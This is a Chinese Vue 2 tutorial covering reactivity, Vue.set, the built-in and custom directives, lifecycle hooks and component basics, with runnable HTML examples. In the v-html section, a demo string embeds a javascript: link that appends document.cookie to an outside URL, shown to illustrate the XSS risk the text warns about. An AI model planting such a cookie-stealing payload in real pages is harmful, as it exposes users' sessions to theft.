Vue 技术进阶 day2 数据监视的原理、其他内置指令、自定义指令、生命周期、组件化、VueComponent构造函数
目录
1.Vue监测数据的原理
1.1 原理
1.1.1 数据劫持
1.1.2 观察者模式(Vue内部的实现)
1.1.3 更新组件
1.1.4 计算属性和侦听器
1.2 后添加属性做响应式(Vue.set / vm.$set)
1.3 对象和数组的响应式
1.4 数据监视案例
2.指令
2.1 内置指令
2.1.1 v-text 指令
2.1.2 v-html 指令
2.1.3 v-cloak 指令
2.1.4 v-once 指令
2.1.5 v-pre 指令
2.2 自定义指令
2.2.1 自定义指令案例
2.2.2 自定义指令总结
3.生命周期
3.1 什么是生命周期?
3.2 分析生命周期
3.3 生命周期的总结
4.Vue 组件化编程
4.1 模块与组件、模块化与组件化
4.1.1 模块
4.1.2 组件
4.1.3 模块化
4.1.4 组件化
4.2 文件组件
4.2.1 非单文件组件
4.2.2 单文件组件
4.3 组件的基本使用
4.4 需要注意的点
4.5 组件的嵌套
4.6 VueComponent 构造函数
4.6.1 关于VueComponent构造函数
4.6.2 关于VueComponent 和 Vue的内置关系
1.Vue监测数据的原理
1.1 原理
(...)就是有响应式数据绑定的属性
Vue.js是一个用于构建用户界面的渐进式框架,其核心特性之一是响应式数据绑定(因此修改之后会解析模版,使得页面重新渲染)。Vue的响应式原理主要基于数据劫持和发布-订阅模式。以下是Vue监测数据变化的详细原理介绍:
1.1.1 数据劫持
数据劫持:可以理解为拿到数据,对数据进行提供getter和setter封装的操作。
Vue通过“数据劫持”来实现响应式系统。具体过程如下:
-
Object.defineProperty:Vue在初始化数据时,会使用
Object.defineProperty
方法将数据对象的属性转换为 getter 和 setter。当我们访问属性值时,会触发 getter,当我们设置属性值时,则会触发 setter。// 示例代码 const data = { name: 'Vue' }; Object.defineProperty(data, 'name', {get: function() {console.log('Getting name:', this);return this._name;},set: function(newValue) {console.log('Setting name:', newValue);this._name = newValue;} });
-
嵌套对象处理:对于嵌套对象,Vue会递归调用
Object.defineProperty
将每个属性都设置为响应式。这样,深层嵌套的属性也能被监测到。
1.1.2 观察者模式(Vue内部的实现)
观察者模式:可以理解为给属性加上监视功能,记录属性是否被更改,而且也会记录用到该属性的地方。
vue会监视data中所有层次的数据。
Vue通过观察者模式(Observer pattern)实现了数据变化的监测:
-
Dep(依赖收集):每个被监测的属性都有一个
Dep
实例。这个实例用于收集依赖于该属性的所有观察者(即使用到这个属性的组件)。 -
Watcher:每个使用该属性的组件或实例都会创建一个
Watcher
实例。在组件渲染的过程中,Watcher
会注册自身到相关的Dep
中。class Dep {constructor() {this.subscribers = []; // 存储观察者}addSub(watcher) {this.subscribers.push(watcher);}notify() {this.subscribers.forEach(watcher => watcher.update()); // 通知所有观察者} }
1.1.3 更新组件
更新组件:当属性被修改时,也就是触发setter,就会通知依赖该属性,完成模版的重新渲染。
当我们通过 setter 修改了一个属性的值时,会触发该属性的 setter
。在这里,Vue会调用 Dep.notify()
方法,通知所有依赖于该属性的 Watcher
实例。
- Watcher.update:当
Watcher
接收到通知时,会调用它的update()
方法,触发组件重新渲染。
1.1.4 计算属性和侦听器
计算属性和侦听器也是响应式数据绑定
-
计算属性:Vue的计算属性也是基于响应式系统实现的。计算属性的 getter 会自动地将需要依赖的数据加入到依赖列表中。
-
侦听器:侦听属性变化的机制则是Vue的另一个重要特性。侦听器通过
vm.$watch
方法来监听数据变化,当数据变化时,会执行对应的方法。
1.2 后添加属性做响应式(Vue.set / vm.$set)
Vue.set
和 vm.$set
是 Vue 提供的方法,用于向某个对象添加新的属性或向数组中添加新的元素,并确保该属性或元素是响应式的。
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
问题:直接在对象或者数组新增数据,发现页面并不会显示该数据,就是因为该数据没有响应式,
Vue没有管理该数据。
响应式处理:
- (1).对象中后追加的属性,Vue默认不做响应式处理
- (2).如需给后添加的属性做响应式,请使用如下API:
- Vue.set(target,propertyName/index,value)
- vm.$set(target,propertyName/index,value)
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
1.3 对象和数组的响应式
1. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。对象中后追加的属性,Vue默认不做响应式处理。
2. 如何监测数组中的数据?
问题:
从下图可以看出,friends是一个数组,数组里面的元素并不会像对象那样,拥有响应式,也就是Vue提供的Setter和Getter方法,因此往数组里面添加数据,会发现页面并没有展示出来,但是后台却可以看到存在该数据。那是因为Vue并不会把这定义为你对数组的修改。下面将解决这个问题。
解决问题:
通过包裹数组更新元素的方法实现,本质就是做了两件事:
- (1).调用原生对应的方法对数组进行更新。才会被Vue识别为更改,给予响应式数据处理。
- (2).重新解析模板,进而更新页面。
方式一:
Vue 将被侦听的数组的变更方法进行了包裹(也就是对数组的方法进一步封装),所以它们也将会触发视图更新。
这些被包裹过的方法包括:
特点:这几个方法都会改变原数组。
方式二:
变更方法,顾名思义,会变更调用了这些方法的原始数组。相比之下,也有非变更方法,例如 filter()
、concat()
和 slice()
。它们不会变更原始数组,而总是返回一个新数组。当使用非变更方法时,可以用新数组替换旧数组,这样Vue才会识别数组的修改。
方式三:
运用Vue.set / vm.$set)
1.4 数据监视案例
点击按键实现功能:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>总结数据监视</title><style>button {margin-top: 10px;}</style><!-- 引入Vue --><script type="text/javascript" src="./vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h1>学生信息</h1><button @click="student.age++">年龄+1岁</button> <br /><button @click="addSex">添加性别属性,默认值:男</button> <br /><button @click="student.sex = '未知' ">修改性别</button> <br /><button @click="addFirstFriend">在列表首位添加一个朋友</button> <br /><button @click="updateFitstFriendName">修改第一个朋友的名字为:张三</button> <br /><button @click="addOneHobby">添加一个爱好</button> <br /><button @click="updateOneHobby">修改第一个爱好为:开车</button> <br /><button @click="filterSmoke">过滤掉爱好中的抽烟</button> <br /><h3>姓名:{{student.name}}</h3><h3>年龄:{{student.age}}</h3><h3 v-if="student.sex">性别:{{student.sex}}</h3><h3>爱好:</h3><ul><li v-for="(h,index) in student.hobby" :key="index">{{h}}</li></ul><h3>朋友们:</h3><ul><li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',data: {student: {name: 'tom',age: 18,hobby: ['抽烟', '喝酒', '烫头'],friends: [{ name: 'jerry', age: 35 },{ name: 'tony', age: 36 }]}},methods: {addSex() {this.$set(this.student, 'sex', '男')},addFirstFriend() {this.student.friends.unshift({ name: 'linhan', age: 22 })},updateFitstFriendName() {this.student.friends.splice(0, 1, { name: '张三', age: 22 })},addOneHobby() {this.student.hobby.unshift('打台球')},updateOneHobby() {this.student.hobby.splice(0, 1, '开车')},filterSmoke() {// 这里注意需要重新赋值,Vue才会鉴定为数组的修改this.student.hobby = this.student.hobby.filter(element => {return element != '抽烟'})}}})
</script></html>
2.指令
2.1 内置指令
2.1.1 v-text 指令
v-text指令:
- 1.作用:向其所在的节点中渲染文本内容。
- 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
注意:比如<div v-text="属性">我是会被替代的内容</div>
2.1.2 v-html 指令
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
- (1).v-html会替换掉节点中所有的内容,这一点跟v-text一样,{{xx}}则不会。
- (2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
- (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
- (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
- (3).可以通过Get方式,将网页的Cookie携带到URL的?后面,因此有安全性问题。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>',// 安全性问题所在str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',}})</script>
</html>
2.1.3 v-cloak 指令
v-cloak指令(没有值):
- 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style><!-- 引入Vue --></head><body><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>
2.1.4 v-once 指令
v-once指令:
- 1.v-once所在节点在初次动态渲染后,就视为静态内容了。也就是只会调用一次。
- 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
2.1.5 v-pre 指令
v-pre指令:
- 1.跳过其所在节点的编译过程。
- 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
2.2 自定义指令
2.2.1 自定义指令案例
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。(用回调函数简单)
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。(必须用配置对象才能实现)
代码:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="./vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n"></div>
</body><script type="text/javascript">Vue.config.productionTip = false//定义全局指令/* Vue.directive('fbind',{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */new Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用?// 1.指令与元素成功绑定时(一上来), 但是指令所在的元素还没有放入页面。// 2.指令所在的模板被重新解析时。big(element, binding) {// console.log('big', this) //注意此处的this是window// console.log(binding) //得到对象// console.log(element) //得到元素DOM// binding 里面的对象包含n的value属性element.innerText = binding.value * 10},fbind: {//指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {// 这句话只有元素在页面才会起效element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}})</script></html>
2.2.2 自定义指令总结
自定义指令总结:
一、定义语法:
(1).局部指令:
new Vue({ directives:{指令名:配置对象}
})
new Vue({directives{指令名:回调函数}
})
(2).全局指令:
Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
- (1).bind:指令与元素成功绑定时调用。
- (2).inserted:指令所在元素被插入页面时调用。
- (3).update:指令所在模板结构被重新解析时调用。
三、注意事项:
- 1.指令定义时不加v-,但使用时要加v-;
- 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
3.生命周期
3.1 什么是生命周期?
生命周期:
- 1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
- 2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 4.生命周期函数中的this指向是vm 或 组件实例对象。
3.2 分析生命周期
分为8个生命周期函数,4对生命周期,分别为 创建 -- 挂载 -- 挂载 -- 销毁。。。
如果想要跟踪每一个生命周期函数的执行情况,可以用debugger,刷新页面就会跳转到该debugger。
代码:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>分析生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root" :x="n"><h2 v-text="n"></h2><h2>当前的n值是:{{n}}</h2><button @click="add">点我n+1</button><button @click="bye">点我销毁vm</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',// template:`// <div>// <h2>当前的n值是:{{n}}</h2>// <button @click="add">点我n+1</button>// </div>// `,data:{n:1},methods: {add(){console.log('add')this.n++},bye(){console.log('bye')this.$destroy()}},watch:{n(){console.log('n变了')}},beforeCreate() {console.log('beforeCreate')},created() {console.log('created')},beforeMount() {console.log('beforeMount')},mounted() {console.log('mounted')},beforeUpdate() {console.log('beforeUpdate')},updated() {console.log('updated')},beforeDestroy() {console.log('beforeDestroy')},destroyed() {console.log('destroyed')},})</script>
</html>
3.3 生命周期的总结
常用的生命周期钩子:
- 1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
- 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。一般配合this.$destroy()使用,就会调用beforeDestroy生命周期函数。
关于销毁Vue实例:
- 1.销毁后借助Vue开发者工具看不到任何信息。
- 2.销毁后自定义事件会失效,但原生DOM事件依然有效。
- 3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
4.Vue 组件化编程
4.1 模块与组件、模块化与组件化
模块和组件其实都是为了能够实现代码的复用性,而且比较好维护。
4.1.1 模块
- 1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
- 2. 为什么: js 文件很多很复杂
- 3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率
4.1.2 组件

4.1.3 模块化
4.1.4 组件化
4.2 文件组件
4.2.1 非单文件组件
1.定义:
非单文件组件通常指将组件的模板、逻辑和样式分散在多个文件中。
2.结构:
HTML 模板可以在 HTML 文件中,JavaScript 逻辑可以在单独的 JavaScript 文件中,样式可以在 CSS 文件中定义。
4.2.2 单文件组件
1.定义:
单文件组件将模板、脚本和样式集中在一个文件中,通常以 .vue
作为文件扩展名。
2.结构:
- 使用
<template>
标签定义 HTML 模板。 - 使用
<script>
标签定义 JavaScript 逻辑。 - 使用
<style>
标签定义样式。
4.3 组件的基本使用
Vue中使用组件的三大步骤:
- 一、定义组件(创建组件)
- 二、注册组件
- 三、使用组件(写组件标签)
一、如何定义一个组件?
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
1.el不要写,为什么?
最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
2.data必须写成函数,为什么?
避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。
二、如何注册组件?
1.局部注册:靠new Vue的时候传入components选项。一般用的比较多。
2.全局注册:靠Vue.component('组件名',组件)。
三、编写组件标签:
<school></school>
代码演示:
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script src="./vue.js"></script>
</head><body><div id="root"><!-- 3.使用组件 --><school></school><hr><student></student><hr><!-- 可以复用组件 --><school></school></div><script>// 1.创建组件const school = Vue.extend({// el: "#root", template: `<div><h2>学校地址:{{schoolAddress}}</h2><h2>学校名称:{{schoolName}}</h2></div>`,data() {return {schoolAddress: "广州花都",schoolName: "GGS"}}})const student = Vue.extend({// el: "#root", template: `<div><h2>学生名字:{{studnetName}}</h2><h2>学生年龄:{{studentAge}}</h2></div>`,data() {return {studnetName: "小张",studentAge: 23,}}})new Vue({el: "#root",// 2.注册组件components: {school,student}})</script>
</body></html>
4.4 需要注意的点
几个注意点:
1.关于组件名
一个单词组成:
- 第一种写法(首字母小写):school
- 第二种写法(首字母大写):School
多个单词组成:
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
- (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
- (2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签
第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
3.一个简写方式
const school = Vue.extend(options) 可简写为:const school = options,vm会进行判断,
如果没有调用,就帮我们调用。
4.5 组件的嵌套
步骤:
- 1.注册的环境发生更换
- 2.子组件的标签需要在父组件中的模版进行定义
- 3.子组件的代码要写在父组件的前面
代码演示:
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script src="./vue.js"></script>
</head><body><div id="root"><!-- 3.使用组件 --><school></school><hr><!-- 编写嵌套组件 --><!-- <student></student> --></div><script>// 创建组件const student = Vue.extend({template: `<div><h2>学生名字:{{studnetName}}</h2><h2>学生年龄:{{studentAge}}</h2></div>`,data() {return {studnetName: "小张",studentAge: 23,}}})// 1.创建组件const school = Vue.extend({// 子组件的标签要编写到父组件的模版里面template: `<div><h2>学校地址:{{schoolAddress}}</h2><h2>学校名称:{{schoolName}}</h2><student></student></div>`,data() {return {schoolAddress: "广州花都",schoolName: "GGS"}},// 子组件需要在父组件里面注册components: {student}})new Vue({el: "#root",// 2.注册组件components: {school}})</script>
</body></html>
4.6 VueComponent 构造函数
4.6.1 关于VueComponent构造函数
1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
4.关于this指向:
- (1).组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
- (2).new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。
4.6.2 关于VueComponent 和 Vue的内置关系
- 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
- 2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
- 3. vc就是小型的vm, vm可以有 el 属性而 vc没有, 其他差别不大。
原型关系图:
相关文章:

Vue 技术进阶 day2 数据监视的原理、其他内置指令、自定义指令、生命周期、组件化、VueComponent构造函数
目录 1.Vue监测数据的原理 1.1 原理 1.1.1 数据劫持 1.1.2 观察者模式(Vue内部的实现) 1.1.3 更新组件 1.1.4 计算属性和侦听器 1.2 后添加属性做响应式(Vue.set / vm.$set) 1.3 对象和数组的响应式 1.4 数据监视案例 2.指令 2.1 内置指令 2.…...

vue.js 原生js app端实现图片旋转、放大、缩小、拖拽
效果图: 旋转 放大:手机上可以双指放大缩小 拖拽 代码实现: html <div id"home" class"" v-cloak><!-- 上面三个按钮 图片自己解决 --><div class"headImage" v-if"showBtn">&l…...

MyBatis的注入问题
对之前文章的补充:MyBatis中的#{}与${}注入问题----原文链接 前言: MyBatis是一个流行的Java持久层框架,用于将对象与数据库中的数据进行映射。然而,如果不当使用,MyBatis也可能受到诸如SQL注入这类的安全问题的影响。…...

基于springboot的评分评教管理系统
👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于springboot的评分评教管理系统1拥有三种角色 管理员:评价管理、学生管理、评分指标管理、课程管理、教师管理、管理员管理等教师:课程管理、学生管理、个人信…...

C嘎嘎入门篇:类和对象(2)
前言: 上一篇小编讲了类和对象(1),当然,在看这篇文章之前,读者朋友们一定要掌握好前面的基础内容,因为这篇和前面息息相关,废话不多说,下面小编就加快步伐,开…...
数据库 - Mongo数据库
目录 前言 一、MongoDB的特点 二、Mongo的核心概念 三、MongoDB的优劣势 四、使用场景 五、MongoDB与其他数据库的对比 六、如何安装MongoDB 七、数据库指令操作 (一)基本数据库操作 (1)连接 MongoDB (2&am…...
工业控制过等保三级需要的网络安全设备及详细讲解
在工业控制系统(ICS)的安全性日益受到重视的背景下,网络安全等级保护(过等保)三级作为一种重要的安全标准,对保障工业控制系统的安全运行有着重要的意义。过等保三级主要针对那些对安全性要求较高的系统&am…...

Android开发高级篇:MVVM框架与数据双向绑定
在Android开发中,MVVM(Model-View-ViewModel)架构模式以其高效、简洁的特点,成为越来越多开发者的首选。MVVM不仅实现了界面(UI)与业务逻辑的分离,还通过数据双向绑定技术,极大地简化…...

智能招聘系统小程序的设计
管理员账户功能包括:系统首页,个人中心,用户管理,企业管理,招聘信息管理,应聘信息管理,系统管理 微信端账号功能包括:系统首页,招聘信息,我的 开发系统&…...

Wireshark抓包GRPC协议查看Protobuf编码内容
1.说明 对通过GRPC协议进行通信的流量进行抓包后, 需要先转换为HTTP2协议, 因为默认解析的HTTP协议和TCP协议无法进行后续的查看操作, 然后再通过加载protobuf文件, 对GRPC内的DATA字段进行解码。 2.抓包 本文为了测试方便&…...
selenium 强制、隐式、显示等待(11种预置条件)
注:显示等待和隐式等待不可混用 强制等待 让当前正在执行的代码线程暂停运行。 示例:在电商网站的商品搜索页面,等待 5 秒之后,点击搜索按钮,如果页面加载速度很快,在 2 秒内生成,那么还需要…...
ffmpeg拉取rtsp网络视频流报错解析
在使用ffmpeg调用api方式对一个rtsp网络视频流拉流播放时,应用程序出现了一些错误提示,并且拉流播放的画面也出现了一些马赛克的现象。所以这里便对应用程序所产生的错误提示进行了详细的研究和分析。这里将分析结果贴在下面,若其他朋友遇到类…...
c# iTextSharp 读取PDF
安装 iTextSharp: 可以通过 NuGet 包管理器安装 iTextSharp: Install-Package itext7创建 PDF 文件: using System; using System.IO; using iText.Kernel.Pdf; using iText.Layout; using iText.Layout.Element;class Program {static voi…...

<<迷雾>> 第5章 从逻辑学到逻辑电路(3)--与门 示例电路
与门及其符号(2输入端) info::操作说明 鼠标单击开关切换开合状态 系统中使用 半方形半圆形 表示与门 primary::在线交互操作链接 https://cc.xiaogd.net/?startCircuitLinkhttps://book.xiaogd.net/cyjsjdmw-examples/assets/circuit/cyjsjdmw-ch05-11…...
Java应用的数据库连接池连接超时处理
Java应用的数据库连接池连接超时处理 大家好,我是微赚淘客返利系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿! 在Java应用中,数据库连接池是管理数据库连接的重要组件。然而,当数据库负载过高或网…...

机器学习:opencv--摄像头OCR
目录 前言 一、三个函数 1.显示图像 2.点排序 3.透视变换 二、代码实例 1.打开摄像头 2.图像预处理 3.检测特定轮廓 4.对轮廓进行处理 5.释放资源 前言 摄像头OCR指的是利用摄像头捕捉图像中的文字信息,并通过光学字符识别(OCR)技…...

基于二分查找的动态规划 leetcode 300.最长递增子序列
如题: https://leetcode.cn/problems/longest-increasing-subsequence/description/ 其实常规动态规划的解法就没什么好说的了,有意思的是官方放出了一个二分查找的动态规化解法,时间复杂度能降到O(nlog(n)),但是为什么这样能解&…...
Java8 IntStream流sum的Bug
做. - 力扣(LeetCode)的时候发现 IntStream流中的sum在相加的过程中会加到突破Int上限导致数据不对,需要装成LongStream流才能有正确的输出。 long sum Arrays.stream(milestones).asLongStream().sum(); 要这样子写,只把sum改…...

PCL 索引空间采样
目录 一、概述 1.1原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.1.1 索引空间采样 2.1.2 可视化原始点云和下采样后的点云 2.2完整代码 三、实现效果 PCL点云算法汇总及实战案例汇总的目录地址链接: PCL点云算法与项目实战案例汇总…...

PasteForm最佳CRUD实践,实际案例PasteTemplate详解之3000问(三)
作为“贴代码”力推的一个CRUD实践项目PasteTemplate,在对现有的3个项目进行实战后效果非常舒服!下面就针对PasteForm为啥我愿称为最佳CRUD做一些回答: 哪里可以下载这个PasteForm的项目案例 目前“贴代码”对外使用PasteForm的项目有"贴Builder(PasteSpide…...

微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...

基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...

Xshell远程连接Kali(默认 | 私钥)Note版
前言:xshell远程连接,私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖
在Vuzix M400 AR智能眼镜的助力下,卢森堡罗伯特舒曼医院(the Robert Schuman Hospitals, HRS)凭借在无菌制剂生产流程中引入增强现实技术(AR)创新项目,荣获了2024年6月7日由卢森堡医院药剂师协会࿰…...

AirSim/Cosys-AirSim 游戏开发(四)外部固定位置监控相机
这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机,因为在使用过程中发现 Airsim 对外部监控相机的描述模糊,而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置,最后在源码示例中找到了,所以感…...
为什么要创建 Vue 实例
核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
【把数组变成一棵树】有序数组秒变平衡BST,原来可以这么优雅!
【把数组变成一棵树】有序数组秒变平衡BST,原来可以这么优雅! 🌱 前言:一棵树的浪漫,从数组开始说起 程序员的世界里,数组是最常见的基本结构之一,几乎每种语言、每种算法都少不了它。可你有没有想过,一组看似“线性排列”的有序数组,竟然可以**“长”成一棵平衡的二…...